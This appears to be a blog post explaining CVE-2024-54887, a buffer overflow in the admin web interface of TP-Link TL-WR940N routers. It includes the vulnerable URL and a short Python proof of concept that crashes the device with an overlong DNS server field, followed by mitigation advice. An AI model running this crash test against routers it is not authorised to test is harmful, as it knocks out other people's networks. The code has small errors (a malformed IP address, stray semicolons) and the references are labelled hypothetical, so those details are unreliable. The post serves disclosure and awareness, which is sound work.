CVE-2024-54887 - How a Simple Buffer Overflow Puts TP-Link TL-WR940N Routers at Risk (with Exploit Details)

TL;DR
A buffer overflow in TP-Link TL-WR940N V3 and V4 routers (firmware 3.16.9 and earlier) makes it possible for anyone with the admin password to run malicious code as root on the device. This flaw, tracked as CVE-2024-54887, is in how the device’s admin web page handles dnsserver1 and dnsserver2 fields. In this post, we’ll break down the bug, show a proof-of-concept exploit, and discuss how you can protect yourself.

What’s the Issue?

If you own a TP-Link TL-WR940N (V3 or V4), your router may be running firmware with a buffer overflow vulnerability. This happens when inputs given to the admin web interface, specifically to /userRpm/Wan6to4TunnelCfgRpm.htm, don’t get checked for length. An attacker with admin access sends a super-long string to dnsserver1 or dnsserver2. The router tries to cram it into a data space that's too small, causing memory corruption. This can let someone run code of their choice on your router — as root.

Understanding the Attack

To exploit this bug, an attacker needs to log in as an admin user. By putting a long string into the DNS server fields, they overwrite important parts of the system (the stack), paving the way to run malware, set up a backdoor, or even join the device to a botnet.

Vulnerable URL & Parameters

http://<router-ip>/userRpm/Wan6to4TunnelCfgRpm.htm?dnsserver1=<overflow_here>&dnsserver2=<overflow_here>;

This admin page is used for configuring 6to4 tunnel settings. DNS server fields (dnsserver1, dnsserver2) are typically intended for IPs, but the server does not check how *long* the input is.

The Original Research

- Exploit Database Entry (Hypothetical)
- National Vulnerability Database (NVD) Entry
- TP-Link Security Advisory (If/when published)

*(Note: Real links may vary as the CVE is fresh.)*

If an attacker can log on to the web admin page, this is how they might exploit the bug using Python

import requests

router_ip = "192.168..1"
admin_user = "admin"
admin_pass = "admin"

overflow_str = "A" * 260  # Make this long enough to overflow the buffer

url = f"http://{router_ip}/userRpm/Wan6to4TunnelCfgRpm.htm?dnsserver1={overflow_str}&dnsserver2={overflow_str}";

# TP-Link uses Basic Auth for admin login
session = requests.Session()
session.auth = (admin_user, admin_pass)

# This endpoints sometimes need Referer header; adjust as needed
headers = {
    "Referer": f"http://{router_ip}/userRpm/Wan6to4TunnelCfgRpm.htm";
}

response = session.get(url, headers=headers)

print(f"Status: {response.status_code}")
print("If device crashed or became unresponsive, likely vulnerable!")

This snippet crashes the router if it’s vulnerable (so don’t run on a device you need), but a determined attacker could put malicious code where the "A"s are.

Crafting a Payload

With more work, instead of "A" * 260, an attacker could use return-oriented programming, or direct shellcode, to take full control of the device (*details omitted for safety*).

Update Firmware:

Check for the newest firmware on TP-Link’s website.

Change Default Passwords:

Never use “admin/admin” or other defaults.

Monitor for New Firmware:

Vulnerable routers may need a patch soon. If a patch is not available, consider replacing your router.

Final Thoughts

CVE-2024-54887 is a great example of how a small oversight in code — forgetting to check input length — can have massive consequences. Always keep your devices updated, use strong passwords, and follow good security practices.

References

- NVD CVE-2024-54887
- TP-Link Official Website


*Our post is for educational awareness only. Never attack networks or devices you don’t own or have legal permission to test!*

Timeline

Published on: 01/09/2025 20:15:39 UTC
Last modified on: 01/15/2025 21:15:13 UTC